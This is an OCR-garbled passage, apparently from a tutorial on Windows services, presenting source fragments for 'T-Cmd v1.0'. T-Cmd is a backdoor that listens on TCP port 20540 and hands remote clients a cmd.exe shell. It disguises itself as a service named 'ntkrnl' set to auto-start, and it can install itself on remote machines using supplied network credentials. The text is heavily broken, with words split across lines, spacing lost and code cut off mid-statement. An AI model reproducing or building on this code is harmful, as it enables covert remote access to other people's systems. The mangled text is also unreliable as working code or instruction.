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Win2000/XP

Windows (SC
M)
UNI
X (daemon)
GUI
Windows2000/X P
Windows9X
Windows
Windows
(ServiceControlManager) (S
erviceControl Program) (ServiceProgram)
(ServiceConfigurationProgram)
1. (SCM)

Winlogon
“ Admin$\System32\Services.e
xe” RPC



HKEY LOCAL_MACHINE\SY STEM\Curr
entControl Set\Services

HKEY_LOCAL_MACHINE\System\Cu
rrentControl Set\Control\ServiceGroupOrder
HKEY _LOCAL_MACHINE\System\CurrentControl Set\C
ontrol\GroupOrderList
LK G(Last-Know-Good)
HKEY_LOCAL_MACHINE\SY STEM\Cont
rol SetX X X\Services

StartServ
ice



2. (SCP)

SERVICE_DEM
AND_START
SERVICE
_START_PENDING S
ERVICE_RUNNING
(SERVICE_CONTROL_STOP) (S
ERVICE_CONTROL_PAUSE) (SERVI
CE_CONTROL_CONTINUE), (SERVICE_
CONTROL_INTERROGATE)
3.

SERVICE_WIN32_OWN_PRO
CESS SERVI
CE_WIN32_SHARE_PROCESS
Windows



Windows
Windows

OpenService

StartService

urrentState

OpenSCManager

CreateService

StartService
QueryServicelL ockStatus
dwC
SERVICE_RUNNING
Control Service

QueryServiceStatus
dwControl sAccepted
SERVI

CE_CONTROL_INTERROGATE

2.



ServiceMain
main

tcher

OWN_PROCESS

r

RE_PROCESS
StartServiceCtrlDispatcher
E TABLE_ENTRY

ServiceMain

ServiceMain

RegisterServiceCtrIHandler

SetServiceStatus

NG
ControlHandler
HandlerEx
HandlerEx
us

main
ControlHandler

main
StartServiceCtrlIDispa
SERVICE_WIN32_
StartServiceCtrlDispatche
SERVICE_WIN32_SHA

SERVIC

ServiceMain

ServiceMain

HandlerEx

SERVICE_RUNNI

SetServiceStat

SERVICE_AC



CEPT_SHUTDOW SetServiceStatus
NSERVICE_CONTROL_SHUTDOWN
3.

OpenSCManager,OpenS
ervice  CreateService
CreateService

DeleteService

Windows20
00

TCP/UDP
TCP
Telnet
Cmd

Cmd

Cmd



WinExec,Shel | Execute, CreateProcess

CreateProcess WinExec  ShellExecute
CreateProcess
/
Cmd Cm
CreatePipe
(Inter-ProcessCommunication |PC)
Cmd
TCP send rec
TerminateProcess
Cmd
T-Cmdv1.0
Windows2000/XP /
/
20540/tcp
1.
typedefstruct
{

HANDLEhPipe

/l

SOCKETSsClient

/l

} SESSIONDATA ,* PSESSIONDATA
/l Cmd /

typedef structPROCESSDATA



md

{
HANDLEhProcess

/l Cmd

DWORDdwProcessld

/l Cmd

structPROCESSDATA* next

/l

} PROCESSDATA ,* PPROCESSDATA
/l

voidWINAPICmdStart(DWORD,LPTSTR*)
/l “ ServiceMain”

voidWINAPICmdControl (DWORD)
/l “ HandlerEx”

Cmd
DWORDWINAPICmdService(L PV OID)
/1l

Cmd /
DWORDWINAPICmdShel | (LPVOID)
/] Cmd Cmd /

DWORDWINAPIReadShell (L PV OID)
Il Cmd
DWORDWINAPIWriteShell(L PV OID)
Il Cmd

BOOL ConnectRemote(BOOL ,char* ,char* ,char*)

I

Cmd



"N

uLL"

voidlnstallCmdService(char*)
/1l

voidRemoveCmdService(char*)

/l

2.

SERVICE_TABLE ENTRY DispatchTable[]=

{

{"ntkrnl",CmdStart},

/l

{NULL,NULL}

[ISERVICE_TABLE_ENTRY “ NULL”

}
StartServiceCtrIDispatcher(DispatchTable)

/l
ServiceStatusHandl e=Register ServiceCtrIHandler (" nt

krnl",CmdControl)

/] CmdControl “ HandlerEx”

ServiceStatus.dwCurrentState=SERVICE_RUNNIN

SetServiceStatus(ServiceStatusHandle,& ServiceStatu

Il SERVICE_RUNNING
hThread=CreateThread(NULL,0,CmdService,NULL,0,
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NULL)

/l

WaitForSingleObject(hMutex,INFINITE)

/l

TerminateProcess(lpProcessDataHead->hProcess, 1)

Il Cmd

hSearch=FindFirstFile(IplmagePath,& FileData)

/l

GetModuleFileName(NULL ,IpCurrentPath, MAX_PA
TH)

Il

CopyFile(lpCurrentPath,lpl magePath,FAL SE)

/l

schSCM anager=0OpenSCM anager(IpHostName,NULL,
SC_MANAGER_ALL_ACCESS)

/l

CreateService(schSCManager," ntkrnl","ntkrnl",SERV
ICE_ALL_ACCESS,SERVICE_WIN32 _OWN_PROCESS,
SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,"
ntkrnl.exe",NULL ,NULL ,NULL,NULL,NULL)

Il

schService=0OpenService(schSCM anager,"ntkrnl",SE
RVICE_START)

/l

StartService(schService,0,NULL)

/l

Control Service(schService,SERVICE_CONTROL_ST



1

OP,& RemoveServiceStatus)

/l

DeleteService(schService)

/l

Del eteFile(lplmagePath)

Il

3.

hMutex=CreateM utex(NULL ,FALSE,NULL)

/l

hThread=CreateThread(NULL,0,CmdShell,(LPVOID)
&sClient,0,NULL)

/l

CreatePipe(& hReadPipe,& hReadShell,& saPipe,0)

CreatePipe(& hWriteShell,& hWritePipe,& saPipe,0)

/l /

CreateProcess(IplmagePath,NULL,NULL,NULL,TR
UE,O,NULL,NULL,&IpStartuplnfo,& IpProcesslnfo)

/l Cmd

hThread[ 1]=CreateThread(NULL,0,ReadShell,(LPVO
ID*)& sdRead,0,& dwSendThreadl d)

hThread[ 2]=CreateThread(NULL,0,WriteShell,(LPV
OID*)& sdWrite,0,& dwReavThreadl d)

/l Cmd

dwResult=WaitForMultipleObjects(3,hThread,FAL SE,
INFINITE)

/l

Rel easeM utex(hM utex)

Il
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PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SI
ZE,&dwBufferRead,NULL,NULL)
/1

ReadFile(sdRead.hPipe,szBuffer, BUFFER_SIZE,& dw
BufferRead,NULL)

/l

WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2W
rite,& dwBufferWritten,NULL)

/l

dwErrorCode=WNetAddConnection2(& NetResource,
|pPassword,| pUserName,CONNECT _INTERACTIVE)

/l

WNetCancel Connection2(Ipl PC,CONNECT_UPDAT
E_PROFILE,TRUE)

/l

1.SC
SC NT
sc<server>[command][servicename]<optionl>
<option2>... <server> “ \\ServerName”

guery,config,gc,del ete,create, GetD
isplayName, GetK eyName,EnumDepend
2.T-Cmdv1.0
#include<windows.h>
#include<stdio.h>
#defineEBUFFER_SIZE1024
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typedefstruct

{

HANDLEhPipe

SOCKETsClient

} SESSIONDATA,* PSESSIONDATA
typedef structPROCESSDATA

{

HANDLEhProcess

DWORDdwProcessld
structPROCESSDATA* next

} PROCESSDATA ,* PPROCESSDATA
HANDL EhMutex
PPROCESSDATAIpProcessDataHead
PPROCESSDATAIpProcessDataEnd
SERVICE_STATUSServiceStatus
SERVICE_STATUS HANDLEServiceStatusHandle
voidWINAPICmdStart(DWORD,LPTSTRY*)
voidWINAPICmdControl (DWORD)
DWORDWINAPICmdService(LPVOID)
DWORDWINAPICmdShell(LPVOID)
DWORDWINAPIReadShell (LPVOID)
DWORDWINAPIWFriteShell(LPVOID)
BOOL ConnectRemote(BOOL ,char* ,char* ,char*)
voidlnstallCmdService(char*)
voidRemoveCmdService(char*)
voidStart(void)

voidUsage(void)
intmain(intargc,char*argv[])
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{
SERVICE_TABLE_ENTRY DispatchTable[]=

{

{"ntkrnl",CmdStart},

{NULL,NULL}

}

if(argc==5)

{

if(ConnectRemote(TRUE,argv[2] ,argv[3],argv[4])==F
ALSE)

{

return-1

}

if('stricmp(argv[1],"-install"))

{

Install CmdService(argv[2])

}

elseif(!stricmp(argv[1],"-remove"))

{

RemoveCmdService(argv[2])

}

if (ConnectRemote(FAL SE,argv[2],argv[3],argv[4])==
FALSE)

{

return-1

}

returnO

}
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elseif(argc==2)

{

if(!stricmp(argv[1],"-install"))

{

InstallCmdService(NULL)

}
elseif(!stricmp(argv[1],"-remove"))
{

RemoveCmdService(NULL)

}

else

{

Start()

Usage()

}

returnO

}

StartServiceCtrIDispatcher(DispatchTable)

returnO

}

voidWINAPICmdStart(DWORDdwATrge,LPTSTR*Ip
Argv)

{

HANDLEhThread

ServiceStatus.dwServiceType=SERVICE_WIN32

ServiceStatus.dwCurrentState=SERVICE_START_PE
NDING

ServiceStatus.dwControlsAccepted=SERVICE_ACCE



